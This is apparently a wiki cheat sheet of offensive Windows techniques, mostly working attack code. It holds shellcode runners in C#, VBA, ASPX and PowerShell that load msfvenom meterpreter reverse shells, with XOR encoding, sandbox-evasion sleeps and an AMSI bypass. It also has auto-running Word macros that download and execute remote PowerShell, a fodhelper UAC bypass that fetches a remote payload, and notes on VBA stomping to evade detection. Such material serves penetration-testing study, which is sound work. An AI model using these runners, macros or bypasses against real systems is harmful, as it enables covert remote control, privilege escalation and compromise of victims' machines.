&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;&lt;br /&gt;
namespace ConsoleApp1&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,&lt;br /&gt;
            uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes,&lt;br /&gt;
            uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern UInt32 WaitForSingleObject(IntPtr hHandle,&lt;br /&gt;
            UInt32 dwMilliseconds);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] buf = new byte[510] {0xfe, 0x4a,.....&lt;br /&gt;
};&lt;br /&gt;
            for(int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)(((uint)buf[i] - 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            int size = buf.Length;&lt;br /&gt;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,&lt;br /&gt;
                IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Change the XOR vba runner with this&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
For i = 0 To UBound(buf)&lt;br /&gt;
buf(i) = buf(i) - 2&lt;br /&gt;
Next i&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== XOR ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System;&lt;br /&gt;
namespace rev&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public const uint EXECUTEREADWRITE  = 0x40;&lt;br /&gt;
        public const uint COMMIT_RESERVE = 0x3000;&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;Kernel32.dll&amp;quot;, CharSet = CharSet.Auto, SetLastError = true)]&lt;br /&gt;
        private unsafe static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        public static extern Int32 WaitForSingleObject(IntPtr Handle, Int32 Wait);&lt;br /&gt;
        public static void Main()&lt;br /&gt;
        {&lt;br /&gt;
            DateTime t1 = DateTime.Now;&lt;br /&gt;
            Sleep(10000);&lt;br /&gt;
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
            if (deltaT &amp;lt; 9.5)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            // XORed with key 0xfa&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0x06, 0xb2, 0x79, 0x1e, 0x0a, 0x12, 0x36, 0xfa, 0xfa, 0xfa, 0xbb, 0xab, 0xbb, 0xaa&lt;br /&gt;
            };&lt;br /&gt;
            int payloadSize = buf.Length;&lt;br /&gt;
            IntPtr payAddr = VirtualAlloc(IntPtr.Zero, payloadSize, COMMIT_RESERVE, EXECUTEREADWRITE);&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            Marshal.Copy(buf, 0, payAddr, payloadSize);&lt;br /&gt;
            IntPtr payThreadId = CreateThread(IntPtr.Zero, 0, payAddr, IntPtr.Zero, 0, 0);&lt;br /&gt;
            int waitResult = WaitForSingleObject(payThreadId, -1);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Private Declare PtrSafe Function Sleep Lib &amp;quot;kernel32&amp;quot; (ByVal mili As Long) As Long&lt;br /&gt;
Private Declare PtrSafe Function CreateThread Lib &amp;quot;kernel32&amp;quot; (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function VirtualAlloc Lib &amp;quot;kernel32&amp;quot; (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function RtlMoveMemory Lib &amp;quot;kernel32&amp;quot; (ByVal destAddr As LongPtr, ByRef sourceAddr As Any, ByVal length As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function FlsAlloc Lib &amp;quot;KERNEL32&amp;quot; (ByVal callback As LongPtr) As LongPtr&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
    Dim allocRes As LongPtr&lt;br /&gt;
    Dim t1 As Date&lt;br /&gt;
    Dim t2 As Date&lt;br /&gt;
    Dim time As Long&lt;br /&gt;
    Dim buf As Variant&lt;br /&gt;
    Dim addr As LongPtr&lt;br /&gt;
    Dim counter As Long&lt;br /&gt;
    Dim data As Long&lt;br /&gt;
    Dim res As LongPtr&lt;br /&gt;
    &#039; Call FlsAlloc and verify if the result exists&lt;br /&gt;
    allocRes = FlsAlloc(0)&lt;br /&gt;
    If IsNull(allocRes) Then&lt;br /&gt;
        End&lt;br /&gt;
    End If&lt;br /&gt;
    &#039; Sleep for 10 seconds and verify time passed&lt;br /&gt;
    t1 = Now()&lt;br /&gt;
    Sleep (10000)&lt;br /&gt;
    t2 = Now()&lt;br /&gt;
    time = DateDiff(&amp;quot;s&amp;quot;, t1, t2)&lt;br /&gt;
    If time &amp;lt; 10 Then&lt;br /&gt;
        Exit Sub&lt;br /&gt;
    End If&lt;br /&gt;
    &#039; Shellcode encoded with XOR with key 0xfa/250 (output from C# helper tool)&lt;br /&gt;
    buf = Array(6, 178, 121, 30, 10, 18, 54, 250, 250, 250, 187, 171, 187, 170, 168, , 113, 136, 170, 183, 203, 51, 178, 203, 58, 86, 198, 155, ...)&lt;br /&gt;
    &#039; Allocate memory space&lt;br /&gt;
    addr = VirtualAlloc(0, UBound(buf), &amp;amp;H3000, &amp;amp;H40)&lt;br /&gt;
    &#039; Decode the shellcode&lt;br /&gt;
    For i = 0 To UBound(buf)&lt;br /&gt;
        buf(i) = buf(i) Xor 250&lt;br /&gt;
    Next i&lt;br /&gt;
    &#039; Move the shellcode&lt;br /&gt;
    For counter = LBound(buf) To UBound(buf)&lt;br /&gt;
        data = buf(counter)&lt;br /&gt;
        res = RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
    Next counter&lt;br /&gt;
    &#039; Execute the shellcode&lt;br /&gt;
    res = CreateThread(0, 0, addr, 0, 0, 0)&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Simple Shellcode Runners ==&lt;br /&gt;
&lt;br /&gt;
=== ASPX ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/C%23/Webshell_Runner/rev.aspx OSEP/Payloads/C#/Webshell_Runner/rev.aspx at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
    private static Int32 MEM_COMMIT=0x1000;&lt;br /&gt;
    private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true,ExactSpelling = true)]&lt;br /&gt;
    private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr GetCurrentProcess();&lt;br /&gt;
    protected void Page_Load(object sender, EventArgs e)&lt;br /&gt;
    {&lt;br /&gt;
        IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);&lt;br /&gt;
        if(mem == null)&lt;br /&gt;
        {&lt;br /&gt;
            return;&lt;br /&gt;
        }&lt;br /&gt;
         // msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.X.Y LPORT=443 -f aspx -o 3.aspx&lt;br /&gt;
        byte[] oe7hnH0 = new byte[666] {SHELLCODE-HERE!!!};&lt;br /&gt;
        for(int i = 0; i&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Csharp ===&lt;br /&gt;
&lt;br /&gt;
If compiled for x64 remember to set architecture to x64 in visual studios.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace ConsoleApp1&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp&lt;br /&gt;
            byte[] buf = new byte[630] {&lt;br /&gt;
                0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,&lt;br /&gt;
                // ... (other bytes)&lt;br /&gt;
                0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5&lt;br /&gt;
            };&lt;br /&gt;
            int size = buf.Length;&lt;br /&gt;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
==== Ver 1 - Ported from Csharp to Powershell ====&lt;br /&gt;
&lt;br /&gt;
run.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$Kernel32 = @&amp;quot;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
public&lt;br /&gt;
class Kernel32 {&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)] public static extern IntPtr VirtualAlloc(&lt;br /&gt;
      IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi)] public static extern IntPtr&lt;br /&gt;
  CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,&lt;br /&gt;
               IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,&lt;br /&gt;
               IntPtr lpThreadId);&lt;br /&gt;
  [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)] public static extern UInt32&lt;br /&gt;
  WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
}&lt;br /&gt;
&amp;quot;@&lt;br /&gt;
Add-Type $Kernel32&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8…..&lt;br /&gt;
$size = $buf.Length&lt;br /&gt;
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)&lt;br /&gt;
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);&lt;br /&gt;
[Kernel32]::WaitForSingleObject($thandle, [uint32]&amp;quot;0xFFFFFFFF&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ver 2 ====&lt;br /&gt;
&lt;br /&gt;
run.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Compact AMSI bypass&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Amsi&#039;+[char]85+&#039;tils&#039;).GetField(&#039;ams&#039;+[char]105+&#039;InitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
# Shellcode loader &amp;gt;:]&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
# Allocate executable memory&lt;br /&gt;
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),&lt;br /&gt;
  (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)&lt;br /&gt;
# Copy shellcode to allocated memory&lt;br /&gt;
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f powershell&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)&lt;br /&gt;
# Execute shellcode and wait for it to exit&lt;br /&gt;
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),&lt;br /&gt;
  (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject),&lt;br /&gt;
  (getDelegateType @([IntPtr], [Int32])([Int]))).Invoke($hThread, 0xFFFFFFFF)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Trigger from Word Macro&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Trigger from Word Macro&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim str As String&lt;br /&gt;
	str = &amp;quot;powershell (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.ps1&#039;) | IEX&amp;quot;&lt;br /&gt;
	Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VBA ===&lt;br /&gt;
&lt;br /&gt;
Create a macro in Word (See cheatsheet I) and insert code.&lt;br /&gt;
&lt;br /&gt;
If Word is running in 64-bit the code below will need changes.&lt;br /&gt;
&lt;br /&gt;
[https://forums.offsec.com/showthread.php?40409-VBA-Shellcode-Runner-Compile-Error-Type-Mismatch VBA Shellcode Runner - Compile Error: Type Mismatch (offsec.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# For the code below to work in 64-bit Word.&lt;br /&gt;
# If you&#039;re still looking for an answer to this, I ran into the same problem but managed to get it working for 64-bit as well. I had to change the three lines below.&lt;br /&gt;
# First, I modified the declare statement for RtlMoveMemory to not return anything anymore and changed it from Function to Sub. I&#039;m not sure why the type needed to change, but Word crashed when I used Function and worked with Sub. The documentation just says Function can return a value, while Sub can&#039;t, so maybe it has to do with my not returning anything anymore.&lt;br /&gt;
Code:&lt;br /&gt;
Private Declare PtrSafe Sub RtlMoveMemory Lib &amp;quot;KERNEL32&amp;quot; (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long)&lt;br /&gt;
# Second, I changed the line calling RtlMoveMemory since it&#039;s not returning anything anymore.&lt;br /&gt;
Code:&lt;br /&gt;
Call RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
# After making these changes it didn&#039;t error on RtlMoveMemory anymore, but instead gave the same mismatch error for CreateThread. That one was fixed by changing the creation statement for the res variable to be a LongPtr instead of Long to match what the declare statement for CreateThread says it will return.&lt;br /&gt;
Code:&lt;br /&gt;
Dim res As LongPtr&lt;br /&gt;
# After these changes and updating the shellcode to be a 64-bit version of meterpreter, the callback worked.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Private Declare PtrSafe Function CreateThread Lib &amp;quot;KERNEL32&amp;quot; (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function VirtualAlloc Lib &amp;quot;KERNEL32&amp;quot; (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function RtlMoveMemory Lib &amp;quot;KERNEL32&amp;quot; (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr&lt;br /&gt;
Function MyMacro()&lt;br /&gt;
Dim buf As Variant&lt;br /&gt;
Dim addr As LongPtr&lt;br /&gt;
Dim counter As Long&lt;br /&gt;
Dim data As Long&lt;br /&gt;
Dim res As Long&lt;br /&gt;
buf = Array(INSERT SHELLCODE HERE)&lt;br /&gt;
addr = VirtualAlloc(0, UBound(buf), &amp;amp;H3000, &amp;amp;H40)&lt;br /&gt;
For counter = LBound(buf) To UBound(buf)&lt;br /&gt;
data = buf(counter)&lt;br /&gt;
res = RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
Next counter&lt;br /&gt;
res = CreateThread(0, 0, addr, 0, 0, 0)&lt;br /&gt;
End Function&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UAC Bypass ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#UAC_Bypass&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Download]&lt;br /&gt;
&lt;br /&gt;
=== Fodhelper.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$yourevilcommand = &#039;powershell.exe -c &amp;quot;IEX(New-Object Net.WebClient).DownloadString(&#039;&#039;http://192.168.45.198/run3.txt&#039;&#039;)&amp;quot;&#039;&lt;br /&gt;
&lt;br /&gt;
New-Item &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
New-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;DelegateExecute&amp;quot; -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;(default)&amp;quot; -Value $yourevilcommand -Force&lt;br /&gt;
&lt;br /&gt;
Start-Process &amp;quot;C:\Windows\System32\fodhelper.exe&amp;quot; -WindowStyle Hidden&lt;br /&gt;
&lt;br /&gt;
Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force&lt;br /&gt;
&lt;br /&gt;
------------------------&lt;br /&gt;
function RegStuff {&lt;br /&gt;
    $cmd = &amp;quot;C:\Windows\Tasks\foo.exe -enc aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA0ADkALgA2ADgALwByAGUALgBwAHMAMQAnACkA&amp;quot;&lt;br /&gt;
    copy C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Tasks\foo.exe&lt;br /&gt;
    Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force -ErrorAction SilentlyContinue&lt;br /&gt;
    New-Item &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Force&lt;br /&gt;
    New-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;DelegateExecute&amp;quot; -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
    Set-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;(default)&amp;quot; -Value $cmd -Force&lt;br /&gt;
}&lt;br /&gt;
function PrivEsc {&lt;br /&gt;
    Start-Process &amp;quot;C:\Windows\System32\fodhelper.exe&amp;quot; -WindowStyle Hidden&lt;br /&gt;
    Start-Sleep -s 3&lt;br /&gt;
    Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force -ErrorAction SilentlyContinue&lt;br /&gt;
}&lt;br /&gt;
RegStuff&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== VBA Stomping ==&lt;br /&gt;
&lt;br /&gt;
A technique to reduce detection rates by manipulating the VBA macro content in Microsoft Word and Excel documents.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Tools&#039;&#039;&#039;:&lt;br /&gt;
&#039;&#039;&#039;Hex Editor&#039;&#039;&#039;: For inspecting contents of unzipped modern files&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;FlexHEX&#039;&#039;&#039;: To inspect and edit the files&lt;br /&gt;
&lt;br /&gt;
==== Steps to Perform VBA Stomping ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Inspect Shellcode Runner&#039;&#039;&#039;&lt;br /&gt;
Use custom tools to inspect existing shellcode runners.&lt;br /&gt;
&lt;br /&gt;
